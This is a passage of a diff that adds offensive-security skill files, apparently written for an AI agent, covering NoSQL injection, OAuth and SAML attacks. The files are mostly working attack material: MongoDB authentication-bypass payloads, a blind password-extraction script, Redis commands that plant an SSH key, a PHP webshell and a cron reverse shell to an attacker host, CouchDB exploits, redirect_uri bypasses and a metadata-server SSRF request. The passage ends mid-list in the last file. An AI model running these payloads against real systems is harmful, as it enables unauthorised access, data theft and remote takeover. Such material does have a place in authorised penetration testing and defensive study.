  284. package/skills/offensive/airecon-fork/reconnaissance-asn-whois-osint/SKILL.md +236 -0
  285. package/skills/offensive/airecon-fork/reconnaissance-ctf-methodology/SKILL.md +435 -0
  286. package/skills/offensive/airecon-fork/reconnaissance-dorking/SKILL.md +182 -0
  287. package/skills/offensive/airecon-fork/reconnaissance-exposed-devtools-detection/SKILL.md +513 -0
  288. package/skills/offensive/airecon-fork/reconnaissance-full-recon/SKILL.md +305 -0
  289. package/skills/offensive/airecon-fork/reconnaissance-internal-pentest/SKILL.md +202 -0
  290. package/skills/offensive/airecon-fork/reconnaissance-javascript-analysis/SKILL.md +167 -0
  291. package/skills/offensive/airecon-fork/reconnaissance-js-internal-hostname-intelligence/SKILL.md +391 -0
  292. package/skills/offensive/airecon-fork/reconnaissance-monitoring-secrets-exposure/SKILL.md +394 -0
  293. package/skills/offensive/airecon-fork/reconnaissance-shodan-censys/SKILL.md +279 -0
  294. package/skills/offensive/airecon-fork/reconnaissance-subdomain-enum/SKILL.md +952 -0
  295. package/skills/offensive/airecon-fork/technologies-cicd-attacks/SKILL.md +283 -0
  296. package/skills/offensive/airecon-fork/technologies-cloud-security/SKILL.md +299 -0
  297. package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
  298. package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
  299. package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
  300. package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
  301. package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
  302. package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
  303. package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
  304. package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
  305. package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
  306. package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
  307. package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
  308. package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
  309. package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
  310. package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
  311. package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
  312. package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
  313. package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
  314. package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
  315. package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
  316. package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
  317. package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
  318. package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
  319. package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
  320. package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
  321. package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
  322. package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
  323. package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
  324. package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
  325. package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
  326. package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
  327. package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
  328. package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
  329. package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
  330. package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
  331. package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
  332. package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
  333. package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
  334. package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
  335. package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
  336. package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
  337. package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
  338. package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
  339. package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
  340. package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
  341. package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
  342. package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
  343. package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
  344. package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
  345. package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
  346. package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
  347. package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
  348. package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
  349. package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
  350. package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
  351. package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
  352. package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
  353. package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
  354. package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
  355. package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
  356. package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
  357. package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
  358. package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
  359. package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
  360. package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
  361. package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
  362. package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
  363. package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
  364. package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
  365. package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
  366. package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
  367. package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
  368. package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
  369. package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
  370. package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
  371. package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
  372. package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
  373. package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
  374. package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
  375. package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
  376. package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
  377. package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
  378. package/skills/offensive/matty-fork/cicd-redteam/SKILL.md +531 -0
  379. package/skills/offensive/matty-fork/cloud-security/SKILL.md +106 -0
  380. package/skills/offensive/matty-fork/container-escape/SKILL.md +174 -0
  381. package/skills/offensive/matty-fork/mobile-pentester/SKILL.md +357 -0
  382. package/skills/offensive/matty-fork/subdomain-takeover/SKILL.md +154 -0
  383. package/skills/osint/elementalsouls-fork/offensive-osint/README.md +92 -0
  384. package/skills/osint/elementalsouls-fork/offensive-osint/SKILL.md +4177 -0
  385. package/skills/osint/elementalsouls-fork/osint-methodology/README.md +66 -0
  386. package/skills/osint/elementalsouls-fork/osint-methodology/SKILL.md +1695 -0
@@ -0,0 +1,204 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: nosql-injection
5
+ description: NoSQL injection testing — MongoDB operator injection, authentication bypass, blind injection, Redis command injection, and CouchDB exploitation techniques
6
+ ---
7
+
8
+ # NoSQL Injection
9
+
10
+ NoSQL injection = inject operators into JSON/BSON queries to bypass authentication, extract data, or execute commands. Most common: MongoDB `$ne`, `$gt`, `$regex`, `$where`.
11
+
12
+ ---
13
+
14
+ ## MongoDB Injection
15
+
16
+ ### Authentication Bypass
17
+
18
+ # Login form sends: {"username": "admin", "password": "secret"}
19
+
20
+ # Method 1: $ne operator (not equal) — bypass password:
21
+ # HTTP POST (JSON body):
22
+ {"username": "admin", "password": {"$ne": ""}}
23
+ # OR:
24
+ {"username": "admin", "password": {"$gt": ""}}
25
+
26
+ # URL-encoded (application/x-www-form-urlencoded):
27
+ username=admin&password[$ne]=invalid
28
+ username=admin&password[$gt]=a
29
+ username[$ne]=xxx&password[$ne]=xxx # Bypass both fields
30
+
31
+ # GET parameter:
32
+ GET /api/users?username[$ne]=xxx&password[$ne]=xxx
33
+
34
+ # If using JSON:
35
+ {"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$ne": ""}}
36
+
37
+ ### Operator Injection
38
+
39
+ # Available operators:
40
+ $eq, $ne, $gt, $gte, $lt, $lte # Comparison
41
+ $in, $nin # Array membership
42
+ $regex # Regular expression match
43
+ $where # JavaScript evaluation (dangerous!)
44
+ $exists # Field existence
45
+
46
+ # Extract data with $regex (blind/semi-blind):
47
+ # Test if username starts with 'a':
48
+ {"username": {"$regex": "^a"}, "password": {"$ne": ""}}
49
+ {"username": {"$regex": "^ad"}, "password": {"$ne": ""}}
50
+ # Continue until full username recovered
51
+
52
+ # $where JavaScript injection (if enabled — disabled in MongoDB 4.4+):
53
+ {"$where": "this.username == 'admin' && sleep(2000)"} # Time-based blind
54
+ {"$where": "function() { return this.username == 'admin' }"}
55
+
56
+ ### Automated Tool — nosqlmap
57
+
58
+ # Install: pip install nosqlmap --break-system-packages
59
+ # OR: git clone https://github.com/codingo/NoSQLMap /home/pentester/tools/nosqlmap
60
+ python3 /home/pentester/tools/nosqlmap/nosqlmap.py
61
+
62
+ # nosqli (simpler tool):
63
+ # pip install nosqli --break-system-packages
64
+ nosqli -u "http://target.com/login" -p "username=admin&password=INJECT"
65
+
66
+ ### PHP-specific NoSQL Injection
67
+
68
+ # PHP arrays in form data:
69
+ # POST: username=admin&password[%24ne]=invalid
70
+ # PHP receives: $_POST['password'] = ['$ne' => 'invalid']
71
+ # MongoDB query: {username: "admin", password: {$ne: "invalid"}}
72
+
73
+ ---
74
+
75
+ ## MongoDB Direct Exploitation (If Port 27017 Exposed)
76
+
77
+ # Check if MongoDB is exposed:
78
+ nmap -p 27017 <target> -sV
79
+
80
+ # Connect (no auth by default on older versions):
81
+ mongo <target>:27017
82
+ # OR:
83
+ mongosh <target>:27017
84
+
85
+ # MongoDB shell commands:
86
+ show dbs # List databases
87
+ use admin # Switch database
88
+ show collections # List collections
89
+ db.users.find() # Dump all users
90
+ db.users.find({}, {username:1, password:1}) # Specific fields
91
+ db.users.find().limit(10) # First 10 records
92
+ db.getUsers() # Get DB users (admin DB)
93
+
94
+ # With credentials:
95
+ mongosh "mongodb://admin:password@<target>:27017/admin"
96
+
97
+ ---
98
+
99
+ ## Redis Command Injection (via SSRF or Direct Access)
100
+
101
+ If Redis is exposed or reachable via SSRF:
102
+
103
+ # Direct access (no auth):
104
+ redis-cli -h <target> -p 6379
105
+
106
+ # Redis commands:
107
+ INFO # Server info, version
108
+ KEYS * # List all keys
109
+ GET <key> # Get value
110
+ CONFIG GET dir # Working directory
111
+ CONFIG GET dbfilename # DB filename
112
+
113
+ # Redis RCE — write SSH key:
114
+ redis-cli -h <target>
115
+ > CONFIG SET dir /root/.ssh/
116
+ > CONFIG SET dbfilename authorized_keys
117
+ > SET key "\n\nssh-rsa AAAA...<attacker_pubkey>...\n\n"
118
+ > BGSAVE
119
+
120
+ # Redis RCE — write webshell (if web root known):
121
+ > CONFIG SET dir /var/www/html/
122
+ > CONFIG SET dbfilename shell.php
123
+ > SET key "<?php system($_GET['cmd']); ?>"
124
+ > BGSAVE
125
+
126
+ # Redis RCE via cron:
127
+ > CONFIG SET dir /var/spool/cron/crontabs/
128
+ > CONFIG SET dbfilename root
129
+ > SET key "\n\n* * * * * bash -i >& /dev/tcp/<attacker>/4444 0>&1\n\n"
130
+ > BGSAVE
131
+
132
+ ---
133
+
134
+ ## CouchDB Exploitation
135
+
136
+ # Discovery:
137
+ nmap -p 5984 <target>
138
+
139
+ # CouchDB API (no auth by default on older versions):
140
+ curl http://<target>:5984/ # Version info
141
+ curl http://<target>:5984/_all_dbs # List databases
142
+ curl http://<target>:5984/_users/_all_docs # List users
143
+ curl http://<target>:5984/<db>/_all_docs # All documents
144
+
145
+ # CVE-2017-12635 — Admin account creation (no auth):
146
+ curl -X PUT http://<target>:5984/_users/org.couchdb.user:hacker \
147
+ -H "Content-Type: application/json" \
148
+ -d '{"type":"user","name":"hacker","password":"hacker","roles":["_admin"],"_id":"org.couchdb.user:hacker"}'
149
+
150
+ # CVE-2017-12636 — RCE via query_servers:
151
+ curl -X PUT http://admin:admin@<target>:5984/_config/query_servers/cmd \
152
+ -d '"bash -i >& /dev/tcp/<attacker>/4444 0>&1"'
153
+ # Trigger: create a design doc with map function
154
+
155
+ ---
156
+
157
+ ## Blind NoSQL Injection (Response-Based)
158
+
159
+ # Boolean-based: different response for true vs false condition
160
+ # True condition (admin exists):
161
+ {"username": "admin", "password": {"$ne": "xxx"}} # → login success
162
+
163
+ # False condition:
164
+ {"username": "admin", "password": "wrongpassword"} # → login fail
165
+
166
+ # Extract field character by character with $regex:
167
+ python3 -c "
168
+ import requests, string
169
+
170
+ url = 'http://target.com/login'
171
+ charset = string.printable
172
+
173
+ def check(regex):
174
+ r = requests.post(url, json={'username': 'admin', 'password': {'\$regex': regex}})
175
+ return 'Welcome' in r.text # Adjust success indicator
176
+
177
+ password = ''
178
+ while True:
179
+ found = False
180
+ for c in charset:
181
+ if check(f'^{password}{c}'):
182
+ password += c
183
+ print(f'Password so far: {password}')
184
+ found = True
185
+ break
186
+ if not found:
187
+ print(f'Final password: {password}')
188
+ break
189
+ "
190
+
191
+ ---
192
+
193
+ ## Pro Tips
194
+
195
+ 1. Try `password[$ne]=x` in URL-encoded forms — many developers forget to sanitize array input
196
+ 2. `$regex` operator enables character-by-character data extraction (like SQL LIKE)
197
+ 3. MongoDB without auth on port 27017 = full database dump in seconds
198
+ 4. Redis write access → SSH key injection or webshell = reliable RCE path
199
+ 5. CouchDB CVE-2017-12635 admin creation is still valid on many unpatched instances
200
+ 6. If `$where` works → JavaScript eval = time-based blind injection via `sleep()`
201
+
202
+ ## Summary
203
+
204
+ NoSQL injection = operator injection in JSON: `{"password": {"$ne": ""}}` bypasses auth. MongoDB: try `$ne`, `$gt`, `$regex` operators in login forms. Direct MongoDB on 27017 (no auth) = dump all databases immediately. Redis on 6379 = write SSH key for RCE. CouchDB = check CVE-2017-12635 admin creation endpoint.
@@ -0,0 +1,220 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ # OAuth 2.0 / OpenID Connect Misconfigurations
4
+
5
+ Test OAuth flows for open redirect ATO, state bypass, token leakage, PKCE bypass, implicit flow abuse.
6
+
7
+ ## Phase 1: Reconnaissance
8
+
9
+ ```bash
10
+ # Discover OAuth endpoints:
11
+ curl -s "https://target.com/.well-known/openid-configuration" | jq .
12
+ curl -s "https://target.com/.well-known/oauth-authorization-server" | jq .
13
+ curl -s "https://target.com/oauth/.well-known/openid-configuration" | jq .
14
+
15
+ # Extract key endpoints:
16
+ OIDC=$(curl -s "https://target.com/.well-known/openid-configuration")
17
+ echo "Auth endpoint: $(echo $OIDC | jq -r '.authorization_endpoint')"
18
+ echo "Token endpoint: $(echo $OIDC | jq -r '.token_endpoint')"
19
+ echo "JWKS: $(echo $OIDC | jq -r '.jwks_uri')"
20
+
21
+ # Find client_id in JavaScript source:
22
+ curl -s "https://target.com/" | grep -oE 'client_id["\s:=]+["\x27][a-zA-Z0-9_-]+["\x27]'
23
+ curl -s "https://target.com/static/app.js" | grep -oE '"client_id":"[^"]+"'
24
+ ```
25
+
26
+ ---
27
+
28
+ ## Phase 2: Open Redirect → Account Takeover
29
+
30
+ ```bash
31
+ # If redirect_uri is loosely validated, steal auth code:
32
+
33
+ # Test open redirect with different bypass techniques:
34
+ CLIENT_ID="known_client_id"
35
+ AUTH_ENDPOINT="https://auth.target.com/oauth/authorize"
36
+
37
+ # Technique 1: Extra path after allowed URI:
38
+ EVIL_REDIRECT="https://allowed.target.com/callback/../../../attacker.com"
39
+ curl -s "$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=$EVIL_REDIRECT&response_type=code"
40
+
41
+ # Technique 2: Parameter pollution:
42
+ EVIL_REDIRECT2="https://allowed.target.com/callback?redirect=https://attacker.com"
43
+ curl -s "$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$EVIL_REDIRECT2'))")"
44
+
45
+ # Technique 3: Allowed domain as subdomain of attacker:
46
+ # allowed: target.com → try: target.com.attacker.com
47
+ EVIL_SUB="https://target.com.attacker.com/callback"
48
+
49
+ # Technique 4: URL fragment bypass:
50
+ EVIL_FRAG="https://allowed.target.com/callback#@attacker.com"
51
+
52
+ # Technique 5: Wildcard abuse:
53
+ # If allowed: https://app.target.com/* → try: https://app.target.com/redirect?url=attacker.com
54
+
55
+ # Test each:
56
+ for redirect in "$EVIL_REDIRECT" "$EVIL_REDIRECT2" "$EVIL_SUB" "$EVIL_FRAG"; do
57
+ STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
58
+ "$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=$(python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))" "$redirect")&response_type=code")
59
+ echo "$STATUS → $redirect"
60
+ done
61
+ ```
62
+
63
+ ---
64
+
65
+ ## Phase 3: State Parameter Bypass (CSRF on OAuth)
66
+
67
+ ```bash
68
+ # No state parameter = CSRF attack on OAuth flow
69
+ # Attacker crafts authorization URL, victim clicks → attacker's code linked to victim account
70
+
71
+ # Test if state is required:
72
+ curl -s -L "$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback&response_type=code" \
73
+ -w "%{redirect_url}"
74
+
75
+ # Test if state is validated (reuse state across sessions):
76
+ # 1. Initiate legit OAuth flow → capture state value
77
+ # 2. Craft URL with same state value in different session
78
+ # 3. Complete flow → check if code is accepted
79
+
80
+ # Test reuse of same state multiple times:
81
+ STATE_VAL="predictable_or_captured_state"
82
+ curl -s "$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback&response_type=code&state=$STATE_VAL"
83
+ # Second request with same state:
84
+ curl -s "$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback&response_type=code&state=$STATE_VAL"
85
+ ```
86
+
87
+ ---
88
+
89
+ ## Phase 4: Authorization Code Leakage
90
+
91
+ ```bash
92
+ # Code in Referer header:
93
+ # When callback URL redirects to another page, code may be in Referer
94
+
95
+ # Check if code is logged or appears in URLs:
96
+ # After login, check page source for authorization codes:
97
+ curl -s "https://app.target.com/dashboard" -H "Cookie: SESSION" | \
98
+ grep -oE 'code=[a-zA-Z0-9_-]+'
99
+
100
+ # Test code reuse (should be single-use):
101
+ CODE="captured_auth_code"
102
+ # Use code once:
103
+ curl -s -X POST "https://auth.target.com/oauth/token" \
104
+ -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.target.com/callback&client_id=$CLIENT_ID"
105
+ # Try to reuse:
106
+ curl -s -X POST "https://auth.target.com/oauth/token" \
107
+ -d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.target.com/callback&client_id=$CLIENT_ID"
108
+
109
+ # Code injection — test if arbitrary code can be submitted:
110
+ curl -s -X POST "https://app.target.com/oauth/callback" \
111
+ -d "code=attacker_code&state=valid_state"
112
+ ```
113
+
114
+ ---
115
+
116
+ ## Phase 5: Token Endpoint Attacks
117
+
118
+ ```bash
119
+ # Test client authentication bypass:
120
+ # Try submitting without client_secret:
121
+ curl -s -X POST "https://auth.target.com/oauth/token" \
122
+ -d "grant_type=authorization_code&code=CODE&client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback"
123
+
124
+ # Test implicit flow (response_type=token) — token in URL fragment:
125
+ curl -s -L "$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback&response_type=token" \
126
+ -w "%{redirect_url}" | grep -oE 'access_token=[^&]+'
127
+
128
+ # Scope escalation:
129
+ # Request higher scope than you're allowed:
130
+ curl -s "$AUTH_ENDPOINT?client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback&response_type=code&scope=openid+email+admin+write:all"
131
+
132
+ # Token refresh abuse (unlimited refresh):
133
+ REFRESH_TOKEN="captured_refresh_token"
134
+ for i in $(seq 1 5); do
135
+ NEW_TOKEN=$(curl -s -X POST "https://auth.target.com/oauth/token" \
136
+ -d "grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&client_id=$CLIENT_ID" | jq -r '.access_token')
137
+ echo "Iteration $i: $NEW_TOKEN"
138
+ done
139
+ ```
140
+
141
+ ---
142
+
143
+ ## Phase 6: PKCE Bypass (Mobile/SPA)
144
+
145
+ ```bash
146
+ # PKCE protects public clients — test if verifier is actually checked
147
+
148
+ # Generate legitimate PKCE pair:
149
+ python3 -c "
150
+ import secrets, hashlib, base64
151
+
152
+ verifier = secrets.token_urlsafe(64)
153
+ challenge = base64.urlsafe_b64encode(
154
+ hashlib.sha256(verifier.encode()).digest()
155
+ ).rstrip(b'=').decode()
156
+
157
+ print('verifier:', verifier)
158
+ print('challenge:', challenge)
159
+ "
160
+
161
+ # Step 1: Initiate with code_challenge:
162
+ # Step 2: Try to exchange code WITHOUT code_verifier:
163
+ curl -s -X POST "https://auth.target.com/oauth/token" \
164
+ -d "grant_type=authorization_code&code=CODE&client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback"
165
+ # Note: no code_verifier — if this succeeds, PKCE is not enforced
166
+
167
+ # Step 3: Try with wrong verifier:
168
+ curl -s -X POST "https://auth.target.com/oauth/token" \
169
+ -d "grant_type=authorization_code&code=CODE&client_id=$CLIENT_ID&redirect_uri=https://app.target.com/callback&code_verifier=wrong_verifier"
170
+ ```
171
+
172
+ ---
173
+
174
+ ## Phase 7: Misconfigured Token Validation
175
+
176
+ ```bash
177
+ # Test if access token from one app works on another:
178
+ APP1_TOKEN="token_from_app1"
179
+ # Use on app2:
180
+ curl -s "https://app2.target.com/api/user" \
181
+ -H "Authorization: Bearer $APP1_TOKEN"
182
+
183
+ # Test token audience (aud) confusion:
184
+ python3 -c "
185
+ import jwt, base64, json
186
+
187
+ # Decode without verification:
188
+ parts = '$APP1_TOKEN'.split('.')
189
+ payload = json.loads(base64.b64decode(parts[1] + '=='))
190
+ print('Audience (aud):', payload.get('aud'))
191
+ print('Issuer (iss):', payload.get('iss'))
192
+ print('Client ID:', payload.get('azp'))
193
+ "
194
+
195
+ # Test if expired tokens are still accepted:
196
+ # Capture old token, test 1 hour later:
197
+ curl -s "https://app.target.com/api/profile" \
198
+ -H "Authorization: Bearer EXPIRED_TOKEN"
199
+
200
+ # Test if token can be used across environments:
201
+ # Dev token on prod endpoint:
202
+ curl -s "https://api.target.com/v1/user" \
203
+ -H "Authorization: Bearer DEV_TOKEN"
204
+ ```
205
+
206
+ ---
207
+
208
+ ## Pro Tips
209
+
210
+ 1. **Always check `redirect_uri` validation** — it's the most common OAuth bug (P1 severity)
211
+ 2. **State = CSRF token** — missing/reusable state is exploitable if you can make victim visit URL
212
+ 3. **Scope creep** — try requesting `admin`, `write:*`, `*`, `openid email phone address` in scope
213
+ 4. **Look for code in Referer** — auth code in redirect URL gets leaked via Referer header to third-party resources
214
+ 5. **PKCE on public clients** — SPAs and mobile apps should enforce PKCE; test without verifier
215
+ 6. **Token audience** — access token for `api.target.com` shouldn't work on `app.target.com`
216
+ 7. **implicit flow deprecated** — but still common; tokens in URL fragment are logged in browser history
217
+
218
+ ## Summary
219
+
220
+ OAuth flow: discover endpoints via `.well-known` → grab client_id from JS → test redirect_uri validation (path traversal, subdomain) → check state requirement → test code reuse → test scope escalation → test PKCE enforcement → document redirect chain for ATO PoC.
@@ -0,0 +1,163 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: oauth-saml
5
+ description: Exploitation techniques for OAuth 2.0, OpenID Connect (OIDC), and SAML 2.0 implementations
6
+ ---
7
+
8
+ # OAuth 2.0 and SAML 2.0 Vulnerabilities
9
+
10
+ OAuth 2.0 and SAML 2.0 are complex Single Sign-On (SSO) and authorization protocols. Due to their complexity, misconfigurations and implementation flaws are common, leading to critical vulnerabilities such as authentication bypass, account takeover (ATO), and privilege escalation.
11
+
12
+ ## OAuth 2.0 & OpenID Connect (OIDC)
13
+
14
+ OAuth 2.0 is an authorization framework, while OpenID Connect is an authentication layer built on top of it. Typical flows include the Authorization Code flow, Implicit flow, and Client Credentials flow.
15
+
16
+ ### Core OAuth 2.0 Attack Vectors
17
+
18
+ #### 1. Authorization Code Bypass & CSRF (Missing/Weak State)
19
+ If the `state` parameter is missing, predictable, or not properly validated bound to the user's session, attackers can perform CSRF to link their own external account (e.g., Google, Facebook) to the victim's application account.
20
+
21
+ **Detection:**
22
+ - Check if `state` is present in the initial `/authorize` request.
23
+ - Attempt to reuse a `state` token across different sessions.
24
+ - Send the callback `/callback?code=ATTACKER_CODE` without a state parameter.
25
+
26
+ **Exploit:**
27
+ ```http
28
+ # Attacker initiates flow, intercepts their valid code
29
+ GET /auth/callback?code=ATTACKER_VALID_CODE&state=VICTIM_STATE HTTP/1.1
30
+ Host: target.com
31
+ ```
32
+
33
+ #### 2. Pre-Account Takeover (Account Linking Flaws)
34
+ Occurs when an application allows users to sign up via OAuth, but fails to verify the email address or improperly links accounts based on unverified email claims.
35
+ - **Exploit:** Attacker registers a standard application account using the victim's email (if email verification is missing or bypassable). When the victim later logs in via OAuth (e.g., Sign in with Google), the application links the verified OAuth identity to the attacker-controlled account context, granting the attacker access to the victim's data.
36
+
37
+ #### 3. Flawed Redirect URI Validation (Open Redirects to Token Leakage)
38
+ If `redirect_uri` is loosely validated, authorization codes or access tokens can be leaked to attacker-controlled domains.
39
+ - **Path Traversal:** `redirect_uri=https://target.com/callback/../../attacker.com`
40
+ - **Subdomain Takeover:** `redirect_uri=https://sub.target.com/callback` (where `sub.target.com` is vulnerable)
41
+ - **Parameter Pollution:** `redirect_uri=https://target.com/callback&redirect_uri=https://attacker.com`
42
+ - **CRLF Injection:** Injecting new lines to bypass regex matching.
43
+ - **Open Redirect Chaining:** If the valid `redirect_uri` itself has an open redirect vulnerability, it can leak the fragment/query parameters: `redirect_uri=https://target.com/valid_callback?next=https://attacker.com`
44
+
45
+ #### 4. PKCE (Proof Key for Code Exchange) Downgrade & Bypass
46
+ PKCE prevents authorization code interception in public clients (mobile apps, SPAs).
47
+ - **Downgrade Attack:** If the server supports PKCE but doesn't *enforce* it, an attacker catching the `code` can exchange it without providing `code_verifier`.
48
+ - **Method Manipulation:** Dropping `code_challenge_method=S256` might cause the server to fall back to `plain`, making the challenge equal to the verifier.
49
+
50
+ #### 5. SSRF via OpenID Connect Dynamic Client Registration (DCR)
51
+ DCR allows applications to automatically register themselves as clients with an IdP.
52
+ - **logo_uri / policy_uri SSRF:** IdPs may fetch resources specified during registration.
53
+ - **request_uri SSRF:** In OIDC, a client can pass authentication parameters via a JWT hosted at a `request_uri`. The IdP fetches this URI, leading to SSRF.
54
+
55
+ ```http
56
+ # Exploiting request_uri SSRF on IdP
57
+ GET /authorize?client_id=YOUR_CLIENT_ID&response_type=code&request_uri=http://internal-metadata-server/latest/meta-data/ HTTP/1.1
58
+ Host: idp.target.com
59
+ ```
60
+
61
+ #### 6. JWT Attacks (OIDC Tokens)
62
+ Since OIDC relies heavily on JSON Web Tokens (ID Tokens), all JWT attacks apply to the SSO implementation:
63
+ - **`alg: None` bypass:** Changing the algorithm to `None` and stripping the signature.
64
